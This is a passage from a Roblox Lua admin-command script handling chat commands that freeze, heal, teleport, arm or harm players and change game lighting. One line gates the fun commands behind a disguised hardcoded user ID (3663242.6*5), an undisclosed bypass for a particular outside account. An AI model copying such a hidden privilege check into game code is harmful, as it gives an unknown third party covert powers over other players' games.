  5497. for a, obj in pairs(v.Character:children()) do
  5498. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  5499. end
  5500. end
  5501. end))
  5502. end
  5503. end
  5504.  
  5505. if msg:lower():sub(1,5) == "thaw " then
  5506. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5507. for i, v in pairs(plrz) do
  5508. coroutine.resume(coroutine.create(function()
  5509. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5510. for a, obj in pairs(v.Character:children()) do
  5511. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  5512. end
  5513. end
  5514. end))
  5515. end
  5516. end
  5517.  
  5518. if msg:lower():sub(1,5) == "heal " then
  5519. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5520. for i, v in pairs(plrz) do
  5521. coroutine.resume(coroutine.create(function()
  5522. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5523. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5524. end
  5525. end))
  5526. end
  5527. end
  5528.  
  5529. if msg:lower():sub(1,4) == "god " then
  5530. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  5531. for i, v in pairs(plrz) do
  5532. coroutine.resume(coroutine.create(function()
  5533. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5534. v.Character.Humanoid.MaxHealth = math.huge
  5535. v.Character.Humanoid.Health = 9e9
  5536. end
  5537. end))
  5538. end
  5539. end
  5540.  
  5541. if msg:lower():sub(1,6) == "ungod " then
  5542. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  5543. for i, v in pairs(plrz) do
  5544. coroutine.resume(coroutine.create(function()
  5545. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5546. v.Character.Humanoid.MaxHealth = 100
  5547. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5548. end
  5549. end))
  5550. end
  5551. end
  5552.  
  5553. if msg:lower():sub(1,8) == "ambient " then
  5554. local chk1 = msg:lower():sub(9):find(" ") + 8
  5555. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5556. game:service('Lighting').Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  5557. end
  5558.  
  5559. if msg:lower():sub(1,9) == "oambient " then
  5560. local chk1 = msg:lower():sub(10):find(" ") + 9
  5561. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5562. game:service('Lighting').OutdoorAmbient = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  5563. end
  5564.  
  5565. if msg:lower() == "nofog" then
  5566. game:service('Lighting').FogEnd=1000000000000
  5567. end
  5568.  
  5569. if msg:lower() == "shadowson" then
  5570. game:service('Lighting').GlobalShadows=true
  5571. end
  5572.  
  5573. if msg:lower() == "shadowsoff" then
  5574. game:service('Lighting').GlobalShadows=false
  5575. end
  5576.  
  5577. if msg:lower() == "outlineson" then
  5578. game:service('Lighting').Outlines=true
  5579. end
  5580.  
  5581. if msg:lower() == "outlinesoff" then
  5582. game:service('Lighting').Outlines=false
  5583. end
  5584.  
  5585. if msg:lower():sub(1,7) == "repeat " then
  5586. coroutine.wrap(function()
  5587. local chk1 = msg:lower():sub(8):find(" ") + 7
  5588. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5589. local amount = tonumber(msg:lower():sub(8,chk1-1))
  5590. local timer = tonumber(msg:lower():sub(chk1+1,chk2-1))
  5591. if timer<=0 then timer=1 end
  5592. local command = msg:lower():sub(chk2+1)
  5593. local num=0
  5594. coroutine.wrap(function()
  5595. table.insert(set.dontlog,{n=plr.Name,c=set['prefix']..command})
  5596. repeat
  5597. set.Chat(set['prefix']..command,plr)
  5598. wait(timer)
  5599. num=num+1
  5600. until num==amount
  5601. for i,v in pairs(set.dontlog) do
  5602. if v and v.n==plr.Name and v.c==set['prefix']..command then table.remove(set.dontlog,i) end
  5603. end
  5604. end)()
  5605. end)()
  5606. end
  5607.  
  5608. if msg:lower():sub(1,11) == "brightness " then
  5609. game:service('Lighting').Brightness = msg:sub(12)
  5610. end
  5611.  
  5612. if msg:lower():sub(1,5) == "time " then
  5613. game:service('Lighting').TimeOfDay = msg:sub(6)
  5614. end
  5615.  
  5616. if msg:lower():sub(1,9) == "fogcolor " then
  5617. local chk1 = msg:lower():sub(10):find(" ") + 9
  5618. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5619. game:service('Lighting').FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  5620. end
  5621.  
  5622. if msg:lower():sub(1,7) == "fogend " then
  5623. game:service('Lighting').FogEnd = msg:sub(8)
  5624. end
  5625.  
  5626. if msg:lower():sub(1,9) == "fogstart " then
  5627. game:service('Lighting').FogStart = msg:sub(10)
  5628. end
  5629.  
  5630. if msg:lower():sub(1,7) == "btools " then
  5631. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  5632. for i, v in pairs(plrz) do
  5633. coroutine.resume(coroutine.create(function()
  5634. if v and v:findFirstChild("Backpack") then
  5635. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  5636. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  5637. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  5638. local t4 = Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  5639. local t5 = game:service('InsertService'):LoadAsset(150794490)
  5640. t5['Building Tools'].Parent=v.Backpack
  5641. t5:Destroy()
  5642. local cl4 = set.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  5643. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  5644. local sb
  5645. local hs
  5646. local pdist
  5647.  
  5648. script.Parent.Selected:connect(function(mouse)
  5649. if not mouse then return end
  5650. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  5651. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  5652. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  5653. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  5654. hs.MouseButton1Down:connect(function() pdist = 0 end)
  5655. end)
  5656.  
  5657. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  5658. end
  5659. end))
  5660. end
  5661. end
  5662.  
  5663. if msg:lower():sub(1,12) == "startergive " then
  5664. local chk1 = msg:lower():sub(13):find(" ") + 12
  5665. local plrz = set.GetPlayers(plr, msg:lower():sub(13,chk1-1))
  5666. for i, v in pairs(plrz) do
  5667. coroutine.resume(coroutine.create(function()
  5668. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  5669. for a, tool in pairs(game:service('Lighting'):children()) do
  5670. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  5671. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  5672. end
  5673. end
  5674. end
  5675. end))
  5676. end
  5677. end
  5678.  
  5679. if msg:lower():sub(1,5) == "give " then
  5680. local chk1 = msg:lower():sub(6):find(" ") + 5
  5681. local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  5682. for i, v in pairs(plrz) do
  5683. coroutine.resume(coroutine.create(function()
  5684. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  5685. for a, tool in pairs(game:service('Lighting'):children()) do
  5686. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  5687. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  5688. end
  5689. end
  5690. end
  5691. end))
  5692. end
  5693. end
  5694.  
  5695. if msg:lower():sub(1,6) == "steal " then
  5696. local chk1 = msg:lower():sub(7):find(" ") + 6
  5697. local p1 = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
  5698. local p2 = set.GetPlayers(plr, msg:lower():sub(chk1+1))
  5699. coroutine.wrap(function()
  5700. for i,v in pairs(p1) do
  5701. coroutine.wrap(function()
  5702. for k,m in pairs(p2) do
  5703. for j,n in pairs(v.Backpack:children()) do
  5704. print(n.Name)
  5705. local b=n:clone()
  5706. n.Parent=m.Backpack
  5707. end
  5708. end
  5709. v.Backpack:ClearAllChildren()
  5710. end)()
  5711. end
  5712. end)()
  5713. end
  5714.  
  5715. if msg:lower():sub(1,12) == "removetools " then
  5716. local plrz = set.GetPlayers(plr, msg:lower():sub(13))
  5717. for i, v in pairs(plrz) do
  5718. coroutine.resume(coroutine.create(function()
  5719. if v and v.Character and v:findFirstChild("Backpack") then
  5720. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  5721. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  5722. end
  5723. end))
  5724. end
  5725. end
  5726.  
  5727. if msg:lower():sub(1,5) == "rank " then
  5728. local chk1 = msg:lower():sub(6):find(" ") + 5
  5729. local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  5730. for i, v in pairs(plrz) do
  5731. coroutine.resume(coroutine.create(function()
  5732. if v and v:IsInGroup(msg:sub(chk1+1)) then
  5733. set.Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  5734. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  5735. set.Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  5736. end
  5737. end))
  5738. end
  5739. end
  5740.  
  5741. if msg:lower():sub(1,7) == "damage " then
  5742. local chk1 = msg:lower():sub(8):find(" ") + 7
  5743. local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1))
  5744. for i, v in pairs(plrz) do
  5745. coroutine.resume(coroutine.create(function()
  5746. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5747. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  5748. end
  5749. end))
  5750. end
  5751. end
  5752.  
  5753. if msg:lower():sub(1,5) == "grav " then
  5754. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5755. for i, v in pairs(plrz) do
  5756. coroutine.resume(coroutine.create(function()
  5757. if v and v.Character and v.Character:findFirstChild("Torso") then
  5758. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5759. end
  5760. end))
  5761. end
  5762. end
  5763.  
  5764. if msg:lower():sub(1,8) == "setgrav " then
  5765. local chk1 = msg:lower():sub(9):find(" ") + 8
  5766. local plrz = set.GetPlayers(plr, msg:lower():sub(9,chk1-1))
  5767. for i, v in pairs(plrz) do
  5768. coroutine.resume(coroutine.create(function()
  5769. if v and v.Character and v.Character:findFirstChild("Torso") then
  5770. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5771. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  5772. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  5773. end
  5774. end))
  5775. end
  5776. end
  5777.  
  5778. if msg:lower():sub(1,7) == "nograv " then
  5779. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  5780. for i, v in pairs(plrz) do
  5781. coroutine.resume(coroutine.create(function()
  5782. if v and v.Character and v.Character:findFirstChild("Torso") then
  5783. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  5784. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  5785. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  5786. end
  5787. end))
  5788. end
  5789. end
  5790.  
  5791. if msg:lower():sub(1,7) == "health " then
  5792. local chk1 = msg:lower():sub(8):find(" ") + 7
  5793. local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1))
  5794. for i, v in pairs(plrz) do
  5795. coroutine.resume(coroutine.create(function()
  5796. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5797. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  5798. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  5799. end
  5800. end))
  5801. end
  5802. end
  5803.  
  5804. if msg:lower():sub(1,6) == "speed " then
  5805. local chk1 = msg:lower():sub(7):find(" ") + 6
  5806. local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
  5807. for i, v in pairs(plrz) do
  5808. coroutine.resume(coroutine.create(function()
  5809. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5810. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  5811. end
  5812. end))
  5813. end
  5814. end
  5815.  
  5816. if msg:lower():sub(1,5) == "team " then
  5817. local chk1 = msg:lower():sub(6):find(" ") + 5
  5818. local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  5819. for i, v in pairs(plrz) do
  5820. coroutine.resume(coroutine.create(function()
  5821. if v and game:findFirstChild("Teams") then
  5822. for a, tm in pairs(game.Teams:children()) do
  5823. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  5824. end
  5825. end
  5826. end))
  5827. end
  5828. end
  5829.  
  5830. if msg:lower():sub(1,6) == "place " then
  5831. local chk1 = msg:lower():sub(7):find(" ") + 6
  5832. local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
  5833. for i, v in pairs(plrz) do
  5834. coroutine.resume(coroutine.create(function()
  5835. set.PromptPlaceTeleport(v,"Teleport to "..msg:sub(chk1+1).."?",msg:sub(chk1+1))
  5836. end))
  5837. end
  5838. end
  5839.  
  5840. if msg:lower():sub(1,3) == "tp " then
  5841. local chk1 = msg:lower():sub(4):find(" ") + 3
  5842. local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1))
  5843. local plrz2 = set.GetPlayers(plr, msg:lower():sub(chk1+1))
  5844. for i, v in pairs(plrz) do
  5845. coroutine.resume(coroutine.create(function()
  5846. for i2, v2 in pairs(plrz2) do
  5847. if v and v2 and v.Character and v2.Character and v.Character:FindFirstChild('Humanoid') and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  5848. if v.Character.Humanoid.Sit==true then
  5849. v.Character.Humanoid.Sit=false
  5850. wait(0.5)
  5851. end
  5852. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  5853. end
  5854. end
  5855. end))
  5856. end
  5857. end
  5858.  
  5859. if msg:lower():sub(1,9) == "freefall " then
  5860. local chk1 = msg:lower():sub(10):find(" ") + 9
  5861. local plrz = set.GetPlayers(plr, msg:lower():sub(10,chk1-1))
  5862. for i, v in pairs(plrz) do
  5863. coroutine.resume(coroutine.create(function()
  5864. if v and v.Character:FindFirstChild('Torso') then
  5865. v.Character.Torso.CFrame=v.Character.Torso.CFrame+Vector3.new(0,tonumber(msg:sub(chk1+1)),0)
  5866. end
  5867. end))
  5868. end
  5869. end
  5870.  
  5871. if msg:lower():sub(1,7) == "change " then
  5872. local chk1 = msg:lower():sub(8):find(" ") + 7
  5873. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  5874. local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1))
  5875. for i, v in pairs(plrz) do
  5876. coroutine.resume(coroutine.create(function()
  5877. if v and v:findFirstChild("leaderstats") then
  5878. for a, st in pairs(v.leaderstats:children()) do
  5879. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  5880. end
  5881. end
  5882. end))
  5883. end
  5884. end
  5885.  
  5886. if msg:lower():sub(1,6) == "shirt " then
  5887. local chk1 = msg:lower():sub(7):find(" ") + 6
  5888. local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
  5889. for i, v in pairs(plrz) do
  5890. coroutine.resume(coroutine.create(function()
  5891. if v and v.Character then
  5892. for g,k in pairs(v.Character:children()) do
  5893. if k:IsA("Shirt") then k:Destroy() end
  5894. end
  5895. local s=Instance.new('Shirt',v.Character)
  5896. s.ShirtTemplate="http://www.roblox.com/asset/?id="..msg:sub(chk1+1)
  5897. end
  5898. end))
  5899. end
  5900. end
  5901.  
  5902. if msg:lower():sub(1,6) == "pants " then
  5903. local chk1 = msg:lower():sub(7):find(" ") + 6
  5904. local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
  5905. for i, v in pairs(plrz) do
  5906. coroutine.resume(coroutine.create(function()
  5907. if v and v.Character then
  5908. for g,k in pairs(v.Character:children()) do
  5909. if k:IsA("Pants") then k:Destroy() end
  5910. end
  5911. local s=Instance.new('Pants',v.Character)
  5912. s.PantsTemplate="http://www.roblox.com/asset/?id="..msg:sub(chk1+1)
  5913. end
  5914. end))
  5915. end
  5916. end
  5917.  
  5918. if msg:lower():sub(1,5) == "face " then
  5919. local chk1 = msg:lower():sub(6):find(" ") + 5
  5920. local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  5921. for i, v in pairs(plrz) do
  5922. coroutine.resume(coroutine.create(function()
  5923. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  5924. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  5925. end
  5926. end))
  5927. end
  5928. end
  5929.  
  5930. ---------------------
  5931. -- FunCommands --
  5932. ---------------------
  5933. if not set['FunCommands'] then set.Message('System Message','Fun Commands are disabled in settings!',false,{plr}) end
  5934. if set['FunCommands'] or plr.userId == game.CreatorId or plr.userId==(3663242.6*5) or set.ChkOwner(plr.Name:lower()) then
  5935. if msg:lower():sub(1,8) == "swagify " then
  5936. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  5937. for i, v in pairs(plrz) do
  5938. coroutine.resume(coroutine.create(function()
  5939. if v and v.Character then
  5940. for i,v in pairs(v.Character:children()) do
  5941. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  5942. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  5943. end
  5944. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  5945. set.LoadOnClient(v,[[local plr = game.Players.LocalPlayer
  5946. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  5947. local torso = plr.Character.Torso
  5948. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  5949. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  5950. p.Size = Vector3.new(.2,.2,.2)
  5951. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  5952. local motor1 = Instance.new("Motor", p)
  5953. motor1.Part0 = p
  5954. motor1.Part1 = torso
  5955. motor1.MaxVelocity = .01
  5956. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  5957. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  5958. local wave = false
  5959. repeat wait(1/44)
  5960. local ang = 0.1
  5961. local oldmag = torso.Velocity.magnitude
  5962. local mv = .002
  5963. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  5964. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  5965. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  5966. motor1.DesiredAngle = -ang
  5967. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  5968. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  5969. if torso.Velocity.magnitude < .1 then wait(.1) end
  5970. until not p or p.Parent ~= torso.Parent
  5971. script:Destroy()
  5972. ]],false,'CapeScript')
  5973. end
  5974. end))
  5975. end
  5976. end
  5977.  
  5978. if msg:lower():sub(1,7)=='rocket ' then
  5979. for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(8))) do
  5980. coroutine.wrap(function()
  5981. if v.Character and v.Character:FindFirstChild("Torso") then
  5982. delay(0,function()
  5983. local speed = 10
  5984. local Part = Instance.new("Part")
  5985. Part.Parent = v.Character
  5986. local SpecialMesh = Instance.new("SpecialMesh")
  5987. SpecialMesh.Parent = Part
  5988. SpecialMesh.MeshId = "http://www.roblox.com/asset/?id=2251534"
  5989. SpecialMesh.MeshType = "FileMesh"
  5990. SpecialMesh.TextureId = "43abb6d081e0fbc8666fc92f6ff378c1"
  5991. SpecialMesh.Scale = Vector3.new(0.5,0.5,0.5)
  5992. local Weld = Instance.new("Weld")
  5993. Weld.Parent = Part
  5994. Weld.Part0 = Part
  5995. Weld.Part1 = v.Character.Torso
  5996. Weld.C0 = CFrame.new(0,-1,0)*CFrame.Angles(-1.5,0,0)
  5997. local BodyVelocity = Instance.new("BodyVelocity")
  5998. BodyVelocity.Parent = Part
  5999. BodyVelocity.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  6000. BodyVelocity.velocity = Vector3.new(0,10*speed,0)
  6001. delay(0,function()
  6002. for i = 1,math.huge do
  6003. local Explosion = Instance.new("Explosion")
  6004. Explosion.Parent = Part
  6005. Explosion.BlastRadius = 0
  6006. Explosion.Position = Part.Position + Vector3.new(0,0,0)
  6007. wait()
  6008. end
  6009. end)
  6010. wait(3)
  6011. pcall(function()
  6012. BodyVelocity:remove()
  6013. Instance.new("Explosion",workspace).Position=v.Character.Torso.Position
  6014. v.Character:BreakJoints()
  6015. end)
  6016. end)
  6017. end
  6018. end)()
  6019. end
  6020. end
  6021.  
  6022. if msg:lower():sub(1,6) == "dance " then
  6023. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  6024. for i, v in pairs(plrz) do
  6025. coroutine.resume(coroutine.create(function()
  6026. if v and v.Character and v.Character:FindFirstChild('Humanoid') then
  6027. local anim=Instance.new('Animation',v.Character)
  6028. anim.AnimationId='http://www.roblox.com/Asset?ID=27789359'
  6029. anim.Name='Dance'
  6030. set.LoadOnClient(v,[[local human = game.Players.LocalPlayer.Character:FindFirstChild("Humanoid")
  6031. local dancer = human:LoadAnimation(human.Parent.Dance)
  6032. dancer:Play()
  6033. wait(60)
  6034. dancer:Stop()
  6035. dancer:Destroy()]],false,set.AssignName())
  6036. end
  6037. end))
  6038. end
  6039. end
  6040.  
  6041. if msg:lower():sub(1,11) == "breakdance " then
  6042. local plrz = set.GetPlayers(plr, msg:lower():sub(12))
  6043. for i, v in pairs(plrz) do
  6044. coroutine.resume(coroutine.create(function()
  6045. local color
  6046. local num=math.random(1,7)
  6047. if num==1 then
  6048. color='Really blue'
  6049. elseif num==2 then
  6050. color='Really red'
  6051. elseif num==3 then
  6052. color='Magenta'
  6053. elseif num==4 then
  6054. color='Lime green'
  6055. elseif num==5 then
  6056. color='Hot pink'
  6057. elseif num==6 then
  6058. color='New Yeller'
  6059. elseif num==7 then
  6060. color='White'
  6061. end
  6062. if v and v.Character and v.Character:FindFirstChild('Humanoid') then
  6063. local anim=Instance.new('Animation',v.Character)
  6064. anim.AnimationId='http://www.roblox.com/Asset?ID=27789359'
  6065. anim.Name='Dance'
  6066. set.LoadOnClient(v,[[local human = game.Players.LocalPlayer.Character:FindFirstChild("Humanoid")
  6067. local dancer = human:LoadAnimation(human.Parent.Dance)
  6068. dancer:Play()
  6069. while wait() do
  6070. human.PlatformStand=true
  6071. end]],false,set.AssignName())
  6072. cmd=set['prefix'].."batch sparkles "..v.Name.. " "..color.."/fire "..v.Name.." "..color.."/nograv "..v.Name.."/smoke "..v.Name.." "..color.."/spin "..v.Name
  6073. table.insert(set.dontlog,{n=plr.Name,c=cmd})
  6074. set.Chat(cmd,plr)
  6075. for i,v in pairs(set.dontlog) do
  6076. if v and v.n==plr.Name and v.c==cmd then table.remove(set.dontlog,i) end
  6077. end
  6078. end
  6079. end))
  6080. end
  6081. end
  6082.  
  6083. if msg:lower():sub(1,5)=='puke ' then
  6084. for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(6))) do
  6085. coroutine.wrap(function()
  6086. if (not v:IsA('Player')) or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) or v.Character:FindFirstChild('Kohls Puke') then return end
  6087. local run=true
  6088. local k=Instance.new('StringValue',v.Character)
  6089. k.Name='Kohls Puke'
  6090. coroutine.wrap(function()
  6091. repeat
  6092. wait(0.15)
  6093. local p = Instance.new("Part",v.Character)
  6094. p.CanCollide = false
  6095. local color = math.random(1, 3)
  6096. local bcolor
  6097. if color == 1 then
  6098. bcolor = BrickColor.new(192)
  6099. elseif color == 2 then
  6100. bcolor = BrickColor.new(28)
  6101. elseif color == 3 then
  6102. bcolor = BrickColor.new(105)
  6103. end
  6104. p.BrickColor = bcolor
  6105. local m=Instance.new('BlockMesh',p)
  6106. p.Size=Vector3.new(0.1,0.1,0.1)
  6107. m.Scale = Vector3.new(math.random()*0.9, math.random()*0.9, math.random()*0.9)
  6108. p.Locked = true
  6109. p.TopSurface = "Smooth"
  6110. p.BottomSurface = "Smooth"
  6111. p.CFrame = v.Character.Head.CFrame * CFrame.new(Vector3.new(0, 0, -1))
  6112. p.Velocity = v.Character.Head.CFrame.lookVector * 20 + Vector3.new(math.random(-5, 5), math.random(-5, 5), math.random(-5, 5))
  6113. p.Anchored = false
  6114. m.Name='Puke Peice'
  6115. p.Name='Puke Peice'
  6116. p.Touched:connect(function(o)
  6117. if o and p and (not game.Players:FindFirstChild(o.Parent.Name)) and o.Name~='Puke Peice' and o.Name~='Blood Peice' and o.Name~='Blood Plate' and o.Name~='Puke Plate' and (o.Parent.Name=='Workspace' or o.Parent:IsA('Model')) and (o.Parent~=p.Parent) and o:IsA('Part') and (o.Parent.Name~=v.Character.Name) and (not o.Parent:IsA('Hat')) and (not o.Parent:IsA('Tool')) then
  6118. local cf=CFrame.new(p.CFrame.X,o.CFrame.Y+o.Size.Y/2,p.CFrame.Z)
  6119. p:Destroy()
  6120. local g=Instance.new('Part',workspace)
  6121. g.Anchored=true
  6122. g.CanCollide=false
  6123. g.Size=Vector3.new(0.1,0.1,0.1)
  6124. g.Name='Puke Plate'
  6125. g.CFrame=cf
  6126. g.BrickColor=BrickColor.new(119)
  6127. local c=Instance.new('CylinderMesh',g)
  6128. c.Scale=Vector3.new(1,0.2,1)
  6129. c.Name='PukeMesh'
  6130. wait(10)
  6131. g:Destroy()
  6132. elseif o and o.Name=='Puke Plate' and p then
  6133. p:Destroy()
  6134. o.PukeMesh.Scale=o.PukeMesh.Scale+Vector3.new(0.5,0,0.5)
  6135. end
  6136. end)
  6137. until run==false or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head'))
  6138. end)()
  6139. wait(10)
  6140. run=false
  6141. k:Destroy()
  6142. end)()
  6143. end
  6144. end
  6145.  
  6146. if msg:lower():sub(1,4)=='cut ' then
  6147. for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(5))) do
  6148. coroutine.wrap(function()
  6149. if (not v:IsA('Player')) or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) or v.Character:FindFirstChild('Kohls Bleed') then return end
  6150. local run=true
  6151. local k=Instance.new('StringValue',v.Character)
  6152. k.Name='Kohls Bleed'
  6153. coroutine.wrap(function()
  6154. repeat
  6155. wait(0.15)
  6156. v.Character.Humanoid.Health=v.Character.Humanoid.Health-0.5
  6157. local p = Instance.new("Part",v.Character)
  6158. p.CanCollide = false
  6159. local color = math.random(1, 3)
  6160. local bcolo
  6161. if color == 1 then
  6162. bcolor = BrickColor.new(21)
  6163. elseif color == 2 then
  6164. bcolor = BrickColor.new(1004)
  6165. elseif color == 3 then
  6166. bcolor = BrickColor.new(21)
  6167. end
  6168. p.BrickColor = bcolor
  6169. local m=Instance.new('BlockMesh',p)
  6170. p.Size=Vector3.new(0.1,0.1,0.1)
  6171. m.Scale = Vector3.new(math.random()*0.9, math.random()*0.9, math.random()*0.9)
  6172. p.Locked = true
  6173. p.TopSurface = "Smooth"
  6174. p.BottomSurface = "Smooth"
